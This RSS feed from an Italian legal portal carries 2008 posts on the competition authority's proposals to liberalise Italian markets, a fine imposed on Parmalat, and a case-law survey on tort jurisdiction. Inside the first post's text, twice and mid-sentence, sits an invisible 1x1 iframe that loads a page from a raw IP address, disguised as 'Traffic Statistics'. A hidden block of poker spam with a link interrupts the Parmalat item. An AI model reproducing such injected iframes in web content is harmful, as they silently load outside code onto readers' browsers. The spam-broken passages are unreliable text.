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	<title>Diritto del Mercato</title>
	<link>http://www.dirittodelmercato.com</link>
	<description>Portale Giuridico</description>
	<pubDate>Thu, 24 Jul 2008 12:13:37 +0000</pubDate>
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	<language>en</language>
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		<title>Articoli. Considerazioni e proposte per una regolazione pro concorrenziale dei mercati a sostegno della crescita economica dell&#8217;Autorit&#224; Garante della Concorrenza e del Mercato</title>
		<link>http://www.dirittodelmercato.com/concorrenza-antitrust/articoli-considerazioni-e-proposte-per-una-regolazione-pro-concorrenziale-dei-mercati-a-sostegno-della-crescita-economica-dellautorit-garante-della-concorrenza-e-del-mercato/</link>
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		<pubDate>Thu, 12 Jun 2008 10:40:44 +0000</pubDate>
		<dc:creator>Davide Maresca</dc:creator>
		
		<category><![CDATA[Concorrenza Antitrust]]></category>

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		<description><![CDATA[L&#8217;Autorit&#224; Garante della Concorrenza e del Mercato, nella riunione del 9 giugno 2008, ha approvato una segnalazione al Governo e al Parlamento nella quale vengono esaminati i settori economici pi&#249; importanti per il Paese ed evidenziati gli aspetti limitativi della concorrenza nei diversi mercati. Il documento, al quale sono allegate alcune schede settoriali, rappresenta un [...]]]></description>
			<content:encoded><![CDATA[<p>L&#8217;Autorit&#224; Garante della Concorrenza e del Mercato, nella riunione del 9 giugno 2008, ha approvato una segnalazione al Governo e al Parlamento nella quale vengono esaminati i settori economici pi&#249; importanti per il Paese ed evidenziati gli aspetti limitativi della concorrenza nei diversi mercati. Il documento, al quale sono allegate alcune schede settoriali, rappresenta un contributo di analisi tecnica che l&#8217;Autorit&#224; intende mettere a disposizione del legislatore.</p>
<p>Nella segnalazione vengono indicati i settori dove mancanza di concorrenza e lentezza del processo decisionale pubblico rappresentano un freno per la crescita del Paese: infrastrutture, energia, servizi pubblici locali, trasporti, distribuzione commerciale, carburanti, professioni e servizi finanziari costituiscono per l&#8217;Antitrust i comparti dove occorre intervenire. Di seguito le aree segnalate dall&#8217;Antitrust.</p>
<p>INFRASTRUTTURE, NO AI VETI INCROCIATI</p>
<p>Il nostro sistema produttivo &#232; fortemente condizionato dagli oneri e dagli svantaggi connessi ai maggiori prezzi e alla minore qualit&#224; ed efficienza di servizi e risorse essenziali quali l&#8217;elettricit&#224;, il gas e i trasporti, diretta conseguenza di una dotazione infrastrutturale complessivamente deficitaria. Occorre che Governo e Parlamento individuino le priorit&#224;. Per eliminare i veti incrociati che bloccano la realizzazione delle opere occorre attribuire allo Stato centrale la funzione di decisore di ultima istanza sulle scelte relative alla realizzazione delle infrastrutture di interesse nazionale.</p>
<p>ELETTRICIT&#192;, INCENTIVARE GLI INVESTIMENTI SULLA RETE</p>
<p>Le insufficienze e le rigidit&#224; della rete di trasporto nazionale generano fenomeni di congestione locale e favoriscono la permanenza di situazioni di potere di mercato. Alle misure gi&#224; previste dal regolatore occorre dunque affiancare ulteriori e pi&#249; efficaci incentivi per potenziare la rete di trasmissione. &#200; necessario inoltre introdurre una piena separazione proprietaria tra attivit&#224; di distribuzione e vendita di energia elettrica nelle reti di distribuzione, anche alla luce delle recenti - e previste - aggregazioni di imprese ex-municipalizzate.</p>
<p>GAS, FAVORIRE L&#8217;ACCESSO DI NUOVI SOGGETTI </p>
<p>Servono interventi normativi e regolamentari finalizzati alla tempestiva definizione delle priorit&#224; relative ai nuovi investimenti infrastrutturali in capacit&#224; di importazione (tramite gasdotto e terminali di rigassificazione di GNL) e di stoccaggio di gas. </p>
<p>Parallelamente vanno introdotte misure che garantiscano l&#8217;accesso e la crescita di nuovi soggetti imprenditoriali: nello stoccaggio l&#8217;attuale assetto del settore e, in particolare, l&#8217;elevato grado di controllo esercitato dall&#8217;operatore dominante, condizionano, infatti, in misura significativa margini e opportunit&#224; per lo sviluppo di un effettivo confronto concorrenziale a beneficio dei consumatori finali.</p>
<p>Va rivista la disciplina sugli affidamenti in concessione del servizio di distribuzione, riducendo la durata del periodo transitorio per gli affidamenti diretti in scadenza e consentendone la rapida riassegnazione mediante gara.</p>
<p>A livello europeo occorre la creazione di una societ&#224; europea delle reti di trasporto del gas, alla quale affidare, nell&#8217;interesse comunitario, la gestione delle infrastrutture nazionali. </p>
<p>FS, S&#204; ALLA SEPARAZIONE PROPRIETARIA</p>
<p>Occorre procedere alla separazione proprietaria per eliminare la molteplicit&#224; dei ruoli e delle funzioni attualmente esercitati dal gruppo Ferrovie dello Stato, al tempo stesso operatore del servizio, gestore della rete e, per alcuni aspetti, regolatore del mercato. &#200; inoltre necessaria una pi&#249; chiara individuazione degli ambiti di servizio pubblico, quantificandone i relativi oneri e lasciando al mercato, attraverso il meccanismo della gara, la scelta del gestore. Per le tratte non remunerative si minimizzer&#224; cos&#236; l&#8217;entit&#224; del sussidio pubblico favorendo per gli altri casi la destinazione di almeno parte della rendita allo sviluppo dei collegamenti ad alta velocit&#224; e al finanziamento degli investimenti nelle infrastrutture logistiche necessarie allo sviluppo dell&#8217;intermodalit&#224; nel comparto del trasporto merci.</p>
<p>SERVIZI PUBBLICI LOCALI, PRIVATIZZAZIONE E APERTURA DEI MERCATI</p>
<p>Le aspettative generate dalle iniziative di liberalizzazione dei servizi pubblici locali risultano, ad oggi, disattese. &#200; prioritaria la loro privatizzazione per eliminare alla radice i conflitti di ruolo derivanti dai diffusi legami proprietari tra soggetto pubblico (regione o ente locale) e societ&#224; affidataria del servizio. Solo in questo modo sar&#224; possibile garantire una maggiore trasparenza e imparzialit&#224; delle procedure di selezione del gestore e una concorrenza efficace e non distorta tra imprese operanti nell&#8217;esercizio di attivit&#224; pienamente liberalizzate (vendita di gas ed elettricit&#224; agli utenti finali). Un ruolo importante potr&#224; essere svolto dalle fondazioni di origine bancaria.</p>
<p>Dove, per le caratteristiche dei mercati, non &#232; possibile la concorrenza tra pi&#249; operatori, dovranno essere garantite procedure di affidamento trasparenti e non discriminatorie.</p>
<p>Per il trasporto ferroviario locale, la distribuzione idrica, elettrica e di gas, caratterizzati da infrastrutture di rete (la cui propriet&#224; deve restare pubblica) gli affidamenti non possono che essere di lungo periodo: si tratta, infatti, di settori che richiedono investimenti importanti, con un periodo di ammortamento significativamente lungo. Occorrer&#224; dunque rafforzare il ruolo della regolazione per garantire la qualit&#224;,<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> l&#8217;efficienza e l&#8217;economicit&#224; dei servizi, assegnando le competenze alle Autorit&#224; nazionali gi&#224; esistenti.</p>
<p>LIBERALIZZARE ORARI ED APERTURE DEI NEGOZI</p>
<p>L&#8217;industria distributiva nazionale presenta, tuttora, una struttura non efficiente e sottodimensionata rispetto a quella di altri Paesi europei, proprio a causa di una regolazione che ostacola l&#8217;apertura di punti vendita con grandi superfici e in genere l&#8217;attivazione di nuovi esercizi. Occorre dunque eliminare questi vincoli ed evitare che siano riproposti nella normativa attraverso lo strumento della disciplina urbanistica o ambientale. Vanno abrogati i divieti in materia di vendita congiunta all&#8217;ingrosso e al dettaglio, e i vincoli presenti, nella normativa nazionale e locale, alla determinazione dei prezzi di vendita (per es. la regolamentazione in materia di vendite sottocosto e straordinarie) e alle modalit&#224; di esercizio dell&#8217;attivit&#224; (per es. la regolamentazione di turni e orari &#8211; minimi e massimi - di apertura).</p>
<p>L&#8217;Autorit&#224; ricorda che l&#8217;attuale struttura della distribuzione commerciale comporta minore possibilit&#224; di scelte e prezzi pi&#249; alti per i consumatori. La mancanza di grandi operatori esclude inoltre la presenza all&#8217;estero di catene commerciali italiane che potrebbero invece costituire un importante supporto per l&#8217;estero<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> alle produzioni nazionali. Nel settore agroalimentare vanno individuate normative che, promovendo la concorrenza, migliorino le modalit&#224; di funzionamento e l&#8217;efficienza del settore con l&#8217;accorciamento della filiera.</p>
<p>CARBURANTI, PUNTARE SU GDO E OPERATORI INDIPENDENTI</p>
<p>Il regime di disciplina della distribuzione dei carburanti deve essere liberalizzato: le rigidit&#224; e le inefficienze della struttura distributiva incidono, infatti, sul costo finale dei carburanti, con effetti che interessano l&#8217;intero sistema economico. Vanno quindi eliminati i vincoli relativi alle distanze minime, alle superfici minime e agli standard qualitativi. Occorre inoltre liberalizzare gli orari massimi di apertura e rafforzare la competitivit&#224; degli operatori di impianti di distribuzione non integrati a monte con la raffinazione e la logistica. A questo fine vanno valutati interventi normativi che obblighino i titolari di infrastrutture logistiche a riservare a terzi una quota della capacit&#224; complessiva dei rispettivi depositi e inducano i soggetti che controllano gli impianti di raffinazione di prodotti petroliferi a cedere quantitativi di prodotto, in particolare a operatori di minori dimensioni che non siano in grado di approvvigionarsi sul mercato internazionale.</p>
<p>FARMACI, MENO VINCOLI PER LE FARMACIE, INCENTIVARE I GENERICI</p>
<p>Occorre una significativa semplificazione dei requisiti e degli adempimenti, previsti a livello locale, per la distribuzione dei farmaci: si tratta di normative che ostacolano la diffusione di canali distributivi alternativi alle farmacie. Vanno eliminati la riserva della titolarit&#224; della farmacia a farmacisti e societ&#224; di farmacisti e il limite massimo delle quattro licenze in capo ad uno stesso soggetto. Occorre inoltre rivedere il sistema di autorizzazione e localizzazione delle farmacie, del tutto inadeguato per una razionale e soddisfacente distribuzione territoriale degli esercizi, che va, invece, garantito con la previsione di un numero minimo di farmacie, anzich&#233; un numero massimo. A livello produttivo occorrono iniziative orientate a favorire l&#8217;ingresso dei farmaci generici, senza tuttavia scoraggiare gli incentivi all&#8217;innovazione. </p>
<p>PROFESSIONISTI, PROSEGUIRE L&#8217;AZIONE DI MODERNIZZAZIONE</p>
<p>Nel comparto dei servizi professionali alle misure concorrenziali introdotte nella scorsa legislatura &#232; seguita, a volte, l&#8217;adozione di interventi normativi speciali di segno opposto. Dall&#8217;indagine conoscitiva svolta dall&#8217;Autorit&#224; emerge una realt&#224; non confortante, caratterizzata dalla diffusa permanenza di una sostanziale impermeabilit&#224; dei codici deontologici alle esigenze di modernizzazione. </p>
<p>L&#8217;accesso alla professione deve essere, in linea di principio, libero. Il prezzo dei servizi dovrebbe essere stabilito d&#8217;intesa tra le parti. In alcune circostanze, le esigenze di tutela dei consumatori possono giustificare la previsione, in via eccezionale, di tariffe massime che devono per&#242; essere concretamente stabilite in modo pi&#249; trasparente e immediatamente percepibile per il consumatore, specie con riferimento agli atti standardizzati.</p>
<p>&#200; auspicabile l&#8217;istituzione di corsi scolastici e universitari che consentano di conseguire direttamente l&#8217;abilitazione. L&#8217;imposizione dell&#8217;esame di Stato va valutata secondo le circostanze. L&#8217;eventuale periodo di tirocinio deve essere proporzionato alle esigenze di apprendimento pratico delle diverse professioni e potersi svolgere non solo presso il professionista, ma anche presso strutture, pubbliche e private.</p>
<p>Vanno abrogate le limitazioni numeriche agli accessi previsti per alcune professioni, come per esempio nel caso dei notai e dei medici del servizio sanitario nazionale.</p>
<p>Gli ordini devono tutelare la correttezza degli iscritti nello svolgimento della prestazione professionale e l&#8217;aggiornamento. I codici deontologici devono prevedere unicamente norme di tipo etico, a garanzia degli interessi dell&#8217;utente e della libert&#224; e autonomia del professionista.</p>
<p>BANCHE, INFORMAZIONI PI&#217; CHIARE PER I CONSUMATORI</p>
<p>Occorre consolidare i progressi conseguiti con le recenti modifiche normative, promuovendo una maggiore semplificazione, trasparenza e comparabilit&#224; delle informazioni con l&#8217;introduzione di fogli informativi sintetici e di indicatori di spesa complessiva. Vanno ridotti i tempi e costi delle procedure di trasferimento del rapporto contrattuale (portabilit&#224; dei conti correnti e surrogazione dei contratti di mutuo) e rafforzati gli strumenti di tutela del consumatore con l&#8217;introduzione di garanzie sulla durata delle condizioni offerte e il controllo amministrativo sulle clausole vessatorie. Specifica attenzione va rivolta inoltre ai profili relativi alla governance delle imprese bancarie, per evitare o ridurre gli effetti negativi &#8211; in termini di incentivi all&#8217;efficienza, alla trasparenza e alla concorrenza &#8211; di assetti proprietari e organizzativi caratterizzati dalla commistione tra funzioni di gestione e responsabilit&#224; strategiche e di controllo, da situazioni di conflitto di interessi e, in alcuni casi, da condizioni di sostanziale non contendibilit&#224; del controllo.</p>
<p>ASSICURAZIONI, ANCORA POCA CONCORRENZA</p>
<p>La liberalizzazione del settore assicurativo ha dato risultati insoddisfacenti in termini di prezzi, qualit&#224; delle prestazioni e intensit&#224; delle dinamiche concorrenziali. Occorrono ulteriori interventi di semplificazione delle informazioni alla clientela, con modelli contrattuali standardizzati che separino chiaramente le coperture a maggiore diffusione dalle clausole di estensione delle garanzie. Va incrementata la trasparenza delle condizioni economiche del rapporto, ad esempio per quanto riguarda la variazione del premio futuro in caso di presenza/assenza di sinistri nel corso del periodo assicurativo, proprio per incoraggiare la mobilit&#224;, oggi molto bassa, della domanda. </p>
<p>Nella distribuzione &#232; necessario passare ad un sistema in cui la remunerazione dell&#8217;agente sia sempre pi&#249; rappresentata dalle commissioni corrisposte dai clienti per l&#8217;attivit&#224; di consulenza e assistenza, prestata nella vendita e nella gestione dei prodotti assicurativi, anzich&#233; dalle provvigioni delle compagnie. Verrebbe in questo modo realmente incentivato un sistema distributivo indipendente e slegato dal potere contrattuale delle compagnie.</p>
<p>RIDURRE NORME ED AUTORIZZAZIONI</p>
<p>Per l&#8217;Autorit&#224; &#232; prioritario ridurre, semplificare e razionalizzare il quadro normativo, ricorrendo ai testi unici e ai codici. Per ciascun settore economico occorre verificare la necessit&#224; e proporzionalit&#224; delle procedure amministrative previste, eliminando quando &#232; possibile l&#8217;assenso preventivo della pubblica amministrazione. La verifica andrebbe ripetuta nel tempo alla luce dell&#8217;evoluzione del contesto economico e tecnologico. Dovrebbe essere attuato il progettato sportello unico per le imprese.</p>
<p>Andrebbe riconosciuta all&#8217;Antitrust la legittimazione ad impugnare, tramite l&#8217;Avvocatura generale dello Stato, l&#8217;atto amministrativo a carattere generale in contrasto con la disciplina della concorrenza.</p>
<p><a href="http://www.agcm.it/agcm_ita/news/news.nsf/4bdc4d49ebe1599dc12568da004b793b/ab04d51717c74332c125746500347284/$FILE/AS453.pdf" target="_blank">Link al testo integrale delle considerazioni</a></p>
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		<title>Provvedimenti. Concentrazioni: Sanzione da 2,2 milioni a Parmalat per inottemperanza cessione Newlat</title>
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		<pubDate>Sat, 07 Jun 2008 13:14:09 +0000</pubDate>
		<dc:creator>Davide Maresca</dc:creator>
		
		<category><![CDATA[Concorrenza Antitrust]]></category>

		<category><![CDATA[Concentrazioni]]></category>

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		<description><![CDATA[L&#8217;Autorit&#224; Garante della Concorrenza e del Mercato, nella riunione del 21 maggio 2008, ha deciso di sanzionare la societ&#224; Parmalat perLa maggior parte dei internet poker di video mostra la tavola di paga quando il giocatore di slots preme un bottone di &#8220;tavola di paga&#8221; o la &#8220;tavola di paga&#8221; di tocchi sullo schermo; alcuni [...]]]></description>
			<content:encoded><![CDATA[<p>L&#8217;Autorit&#224; Garante della Concorrenza e del Mercato, nella riunione del 21 maggio 2008, ha deciso di sanzionare la societ&#224; Parmalat per<u style="display:none">La maggior parte dei <a href="http://www.eccellentepoker.com/come-guadagnare-soldi-internet-poker.html">internet poker</a> di video mostra la tavola di paga quando il giocatore di slots preme un bottone di &#8220;tavola di paga&#8221; o la &#8220;tavola di paga&#8221; di tocchi sullo schermo; alcuni hanno la tavola di paga elencata sull&#8217;armadietto come bene.</u> non aver ottemperato alla precedente delibera con la quale l&#8217;Autorit&#224; aveva imposto la cessione della Newlat entro il 30 ottobre 2007. La sanzione, pari a 2.226.900 euro, rappresenta il minimo edittale in quanto l&#8217;Autorit&#224; ha tenuto conto del comportamento adottato dall&#8217;impresa che ha recentemente dimesso la societ&#224;, sia pur con circa 6 mesi di ritardo rispetto ai termini prescritti (ottobre 2007). Nella stessa riunione l&#8217;Autorit&#224; ha infatti dato il via libera all&#8217;acquisizione, da parte del gruppo TMT, della societ&#224; Newlat. </p>
<p>Con la sanzione a Parmalat si conclude il procedimento di inottemperanza avviato dall&#8217;Antitrust il 15 novembre 2007, dopo che la societ&#224;, pur avendo ottenuto alcune proroghe, non aveva attuato le misure prescritte dall&#8217;Autorit&#224;. </p>
<p>Per eliminare gli effetti distorsivi legati alla concentrazione Parmalat/Eurolat e ripristinare condizioni di concorrenza effettiva, l&#8217;Autorit&#224;, a giugno 2005, aveva infatti imposto la cessione dei marchi Matese e Torre in Pietra e di due stabilimenti produttivi di Frosinone e di Paestum-Capaccio Scalo, appartenenti alla societ&#224; Newlat. </p>
<p>A dicembre 2006 Parmalat aveva proposto, in alternativa, la cessione dell&#8217;intera societ&#224; Newlat, da realizzarsi entro il 30 ottobre 2007. Tale misura era stata giudicata dall&#8217;Autorit&#224; idonea a garantire un significativo livello di concorrenza nel mercato del latte fresco in Campania e nel Lazio. </p>
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		<item>
		<title>Provvedimenti. Ricerca sulla competenza del giudice italiano per le controversie relative alla responsabilit&#224; civile</title>
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		<pubDate>Wed, 04 Jun 2008 07:09:41 +0000</pubDate>
		<dc:creator>Davide Maresca</dc:creator>
		
		<category><![CDATA[Diritto civile (ricerche)]]></category>

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		<description><![CDATA[Si riporta di seguito una ricerca relativa all&#8217;interpretazione dell&#8217;art. 5 n.3 del Regolamento CE n.44/2001 (e della Convenzione di Bruxelles del 1968) sulla competenza del giudice italiano per le controversie relative alla responsabilit&#224; per illecito civile,
LOCUS COMMISSI DELICTI:
1) Corte di Giustizia:
Sentenza della Corte di Giustizia (Sesta Sezione) del 5 febbraio 2004, Danmarks Rederiforening, Causa C-18/02, [...]]]></description>
			<content:encoded><![CDATA[<p>Si riporta di seguito una ricerca relativa all&#8217;interpretazione dell&#8217;art. 5 n.3 del Regolamento CE n.44/2001 (e della Convenzione di Bruxelles del 1968) sulla competenza del giudice italiano per le controversie relative alla responsabilit&#224; per illecito civile,</p>
<p>LOCUS COMMISSI DELICTI:</p>
<p>1) Corte di Giustizia:</p>
<p><strong>Sentenza della Corte di Giustizia (Sesta Sezione) del 5 febbraio 2004, Danmarks Rederiforening, Causa C-18/02, raccolta della giurisprudenza 2004 pagina I-01417</strong></p>
<p>40 Per costante giurisprudenza, qualora il luogo in cui avviene il fatto implicante un&#8217;eventuale responsabilit&#224; da delitto o quasi delitto non coincida col luogo in cui tale fatto ha causato un danno, l&#8217;espressione &#171;luogo in cui l&#8217;evento dannoso &#232; avvenuto&#187; di cui all&#8217;art. 5, punto 3, della Convenzione di Bruxelles va intesa nel senso che si riferisce tanto al luogo ove &#232; insorto il danno quanto al luogo ove si &#232; verificato l&#8217;evento generatore dello stesso, di modo che il convenuto pu&#242; essere citato, a scelta dell&#8217;attore, dinanzi al giudice dell&#8217;uno o dell&#8217;altro di tali due luoghi</p>
<p><strong>Sentenza della Corte di Giustizia (Sesta Sezione) del 1 ottobre 2002, Verein f&#252;r Konsumenteninformation contro Karl Heinz Henkel, Causa C-167/00, raccolta della giurisprudenza 2002 pagina I-08111</strong></p>
<p>44 Il sig. Henkel ed il governo francese hanno tuttavia fatto valere che l&#8217;art. 5, punto 3, della Convenzione di Bruxelles fa riferimento al luogo in cui l&#8217;evento dannoso &#232; avvenuto e presuppone pertanto, alla luce della sua stessa lettera, l&#8217;esistenza di un danno. La stessa conclusione si imporrebbe alla luce dell&#8217;interpretazione data dalla Corte alla citata disposizione, interpretazione secondo la quale l&#8217;espressione &#171;luogo in cui l&#8217;evento dannoso &#232; avvenuto&#187; va intesa nel senso ch&#8217;essa si riferisce tanto al luogo ove &#232; insorto il danno quanto al luogo ove si &#232; verificato l&#8217;evento generatore dello stesso, di modo che il convenuto pu&#242; essere citato, a scelta dell&#8217;attore, dinanzi al giudice dell&#8217;uno o dell&#8217;altro di questi due luoghi (v., segnatamente, sentenze Mines de potasse d&#8217;Alsace, cit., punti 24 e 25; 11 gennaio 1990, causa C-220/88, Dumez France e Tracoba, Racc. pag. I-49, punto 10; 7 marzo 1995, causa C-68/93, Shevill e a., Racc. pag. I-415, punto 20, e 19 settembre 1995, causa C-364/93, Marinari, Racc. pag. I-2719, punto 11).</p>
<p><strong>Sentenza della Corte di Giustizia del 19 settembre 1995, Antonio Marinari contro Lloyds Bank plc e Zubaidi Trading Company, Causa C-364/93, raccolta della giurisprudenza 1995 pagina I-02719</strong></p>
<p>11 Nelle citate sentenze Bier (punti 24 e 25) e Shevill e a. (punto 20), la Corte ha affermato che, qualora il luogo in cui avviene il fatto implicante un&#8217; eventuale responsabilit&#224; da delitto o quasi delitto non coincida con il luogo in cui tale fatto ha causato un danno, l&#8217; espressione &quot;luogo in cui l&#8217; evento dannoso &#232; avvenuto&quot; di cui all&#8217; art. 5, punto 3, della Convenzione va intesa nel senso che essa si riferisce tanto al luogo ove &#232; insorto il danno quanto al luogo ove si &#232; verificato l&#8217; evento generatore dello stesso, di modo che il convenuto pu&#242; essere citato, a scelta dell&#8217; attore, dinanzi al giudice dell&#8217; uno o dell&#8217; altro di tali luoghi. </p>
<p><strong>Sentenza della Corte di Giustizia del 7 marzo 1995, Fiona Shevill e altri contro Presse Alliance SA., Causa C-68/93, raccolta della giurisprudenza 1995 pagina I-00415</strong></p>
<p>14 Se &#232; quindi ammesso che la nozione di &quot;luogo in cui l&#8217; evento dannoso &#232; avvenuto&quot; ai sensi dell&#8217; art. 5, punto 3, della Convenzione pu&#242; riferirsi tanto al luogo in cui &#232; insorto il danno quanto al luogo ove si &#232; verificato l&#8217; evento generatore dello stesso, questa nozione non pu&#242; tuttavia essere interpretata estensivamente fino a ricomprendere qualsiasi luogo in cui possono essere risentite le conseguenze dannose di un evento che abbia gi&#224; provocato un danno effettivamente verificatosi in un altro luogo. </p>
<p>15 Di conseguenza, tale nozione non pu&#242; essere interpretata nel senso che essa comprende il luogo in cui la parte lesa, come si verifica nel caso di specie, sostiene di aver patito un pregiudizio patrimoniale in conseguenza di un danno iniziale insorto e da essa subito in un altro Stato contraente.</p>
<p><strong>Sentenza della Corte di Giustizia del 30 novembre 1976, Handelskwekerij G. J. Bier BV contro Mines de potasse d&#8217;Alsace SA., Causa 21-76, raccolta della giurisprudenza 1976 pagina 01735</strong></p>
<p>24 SI DEVE QUINDI RISOLVERE LA QUESTIONE AFFERMANDO CHE , QUALORA IL LUOGO IN CUI AVVIENE IL FATTO IMPLICANTE UN &#8216; EVENTUALE RESPONSABILITA DA DELITTO O QUASI- DELITTO NON COINCIDA COL LUOGO IN CUI TALE FATTO HA CAUSATO UN DANNO , L &#8216; ESPRESSIONE &#8216; LUOGO IN CUI L &#8216; EVENTO DANNOSO E AVVENUTO &#8216; , NELL &#8216; ART . 5 , 3* DELLA CONVENZIONE VA INTESA NEL SENSO CH &#8216; ESSA SI RIFERISCE TANTO AL LUOGO OVE E INSORTO IL DANNO , QUANTO AL LUOGO OVE SI E VERIFICATO L &#8216; EVENTO GENERATORE DELLO STESSO .</p>
<p>25 NE CONSEGUE CHE IL CONVENUTO PUO ESSERE CITATO , A SCELTA DELL &#8216; ATTORE , SIA DINANZI AL GIUDICE DEL LUOGO OVE E INSORTO IL DANNO , SIA DINANZI A QUELLO DEL LUOGO OVE SI E VERIFICATO L &#8216; EVENTO DANNOSO .</p>
<p>2) Corte di Cassazione</p>
<p><strong>Cassazione civile , sez. I, 05 giugno 1991 , n. 6381, Societ&#224; Valle Spluga e altro c. Zatterin e altro, Giust. civ. Mass. 1991, fasc. 6</strong></p>
<p>L&#8217;obbligazione per responsabilit&#224; extracontrattuale sorge nel luogo in cui il fatto produttivo di danno si verifica, riconducendosi alla nozione di tale fatto, oltre al comportamento illecito, anche l&#8217; evento dannoso che ne deriva, con la conseguenza che, in difetto di coincidenza territoriale dell&#8217;uno e dell&#8217;altro, il forum commissi decliti, ai sensi e per gli effetti di cui all&#8217;art. 20 c.p.c. deve essere individuato con riguardo al luogo in cui detto evento si &#232; verificato (nella specie, ritenuto coincidente con la sede dell&#8217;impresa che lamentava una contrazione delle proprie vendite come conseguenza di denigrazione del suo prodotto avvenuta nel corso di una trasmissione televisiva effettuata in una diversa localit&#224;). </p>
<p><strong>Cassazione civile , sez. III, 08 maggio 2002 , n. 6591, Banca 121 c. Restaino, Giust. civ. Mass. 2002, 788</strong></p>
<p>In tema di risarcimento del danno extracontrattuale, patrimoniale e morale, per lesione del diritto alla reputazione di una persona giuridica, compiuta mediante l&#8217;inserimento nella rete telematica (Internet), attraverso un &quot;newsgroup&quot;, di frasi offensive, il &quot;forum commissi delicti&quot;, ai fini della individuazione del giudice territorialmente competente a decidere la causa a norma dell&#8217;art. 20 c.p.c., va individuato nel luogo di verificazione dei lamentati danni in conseguenza dell&#8217; evento diffamatorio, e quindi coincide con il luogo in cui il soggetto offeso ha il proprio domicilio, atteso che, essendo il domicilio la sede principale degli affari e degli interessi, esso rappresenta il luogo in cui si realizzano le ricadute negative dell&#8217;offesa alla reputazione. </p>
<p><strong>Cassazione civile , sez. I, 19 settembre 2003 , n. 13934, Banca Sardegna c. Fall. Soc. Casillo Grani, Giust. civ. Mass. 2003, 9</strong></p>
<p>Competente a conoscere dell&#8217;azione, promossa dalla curatela fallimentare nei confronti della banca finanziatrice, di risarcimento danni per concessione abusiva di credito a un&#8217;impresa in stato di insolvenza, &#232;, con riferimento al foro facoltativo per le cause relative a diritti di obbligazione, il giudice del luogo in cui si &#232; verificato l&#8217; evento dannoso, individuabile, non gi&#224; nella pronuncia di fallimento (essendo questa un fatto estraneo alla struttura dell&#8217; evento di danno ), ma nell&#8217;aggravamento del dissesto economico dell&#8217;impresa, artificiosamente tenuta in vita, che si realizza nel luogo dove &#232; la sede dell&#8217;impresa stessa, intesa come il luogo di svolgimento della sua attivit&#224; economica e come il centro dei suoi rapporti economici e giuridici. </p>
<p><strong>Cassazione civile , sez. III, 20 settembre 2004 , n. 18906, Casa general. pio Ist. Piccole Suore Sacra Fam. c. Serenalla, Giust. civ. Mass. 2004, 9</strong></p>
<p>L&#8217;obbligazione da fatto illecito sorge nel luogo in cui il fatto produttivo di danno si verifica e nella nozione di fatto rientra, oltre al comportamento illecito, anche l&#8217; evento dannoso che ne deriva. Pertanto, qualora i due luoghi non coincidano, il forum delicti, previsto dall&#8217;art. 20 c.p.c. deve essere identificato con riguardo al luogo in cui &#232; avvenuto l&#8217; evento . (Nella specie la Cassazione ha dichiarato la competenza territoriale del giudice del luogo ove un paziente &#232; deceduto a decidere la domanda di risarcimento dei danni conseguiti all&#8217;errore di diagnosi di un medico ospedaliero ove era stato ricoverato). </p>
<p><strong>Tribunale Roma, sez. II, 16 febbraio 2005, Coni c. L., Redazione Giuffr&#232; 2006,</strong></p>
<p>In tema di risarcimento del danno extracontrattuale, patrimoniale e morale, per lesione del diritto alla reputazione di una persona giuridica, compiuta mediante l&#8217;inserimento nella rete telematica (&quot;internet&#8221;), attraverso un &quot;news group&quot;, di frasi offensive, il &quot;forum commissi delicti&quot;, ai fini della individuazione del giudice territorialmente competente a decidere la causa a norma dell&#8217;art. 20 c.p.c., va individuato nel luogo di verificazione dei lamentati danni in conseguenza dell&#8217;evento diffamatorio, e quindi coincide con il luogo in cui il soggetto offeso ha il proprio domicilio, atteso che, essendo il domicilio la sede principale degli affari e degli interessi, esso rappresenta il luogo in cui si realizzano le ricadute negative dell&#8217;offesa alla reputazione.</p>
<p><strong>Cassazione civile , sez. III, 20 ottobre 2006 , n. 22525, Custodi c. Soc. Imp. Cecchini e altro, Giust. civ. Mass. 2006, 10</strong></p>
<p>In tema di risarcimento del danno per lesione del diritto alla reputazione, compiuta mediante corrispondenza inviata a pi&#249; destinatari, il &quot;forum commissi delicti&quot;, ai fini della individuazione del giudice territorialmente competente a decidere la causa a norma dell&#8217;art. 20 c.p.c., va individuato nel luogo di verificazione dell&#8217;evento dannoso in conseguenza dell&#8217;evento diffamatorio, e quindi coincide con il luogo in cui il soggetto offeso ha il proprio domicilio, atteso che, essendo il domicilio la sede principale degli affari e degli interessi, esso rappresenta il luogo in cui si realizzano le ricadute negative dell&#8217;offesa alla reputazione.</p>
<p><strong>Cassazione civile , sez. un., 09 giugno 1995 , n. 6499, Soc. Dunhill Ltd. c. Soc. Tivoli Grove, Giust. civ. Mass. 1995, fasc. 6 </strong></p>
<p>Appartiene al giudice italiano, a norma dell&#8217;art. 5, n. 3, della Convenzione di Bruxelles del 27 settembre 1968 - ratificata con legge n. 804 del 1971 -, la giurisdizione sulla domanda di danni per responsabilit&#224; extracontrattuale, (formulata, nella specie, per concorrenza sleale da diffusione di notizie idonee a screditare la societ&#224; italiana appaltatrice), in quanto il criterio di collegamento del &quot;luogo in cui l&#8217;evento dannoso &#232; avvenuto&quot; va inteso anche nel senso di luogo in cui si sia determinato l&#8217;evento di danno (vedi Corte giust. Cee 30 novembre 1976, in &quot;causa&quot; n. 21 del 1976) e, quindi, l&#8217;impoverimento patrimoniale del soggetto che si pretende leso (nell&#8217;ipotesi, l&#8217;Italia, sede della societ&#224; reclamante il danno). </p>
<p><strong>Cassazione civile , sez. un., 28 ottobre 1993 , n. 10704, Robobar ltd c. Soc. Finncold, Giust. civ. Mass. 1993, 1526 (s.m.) </strong></p>
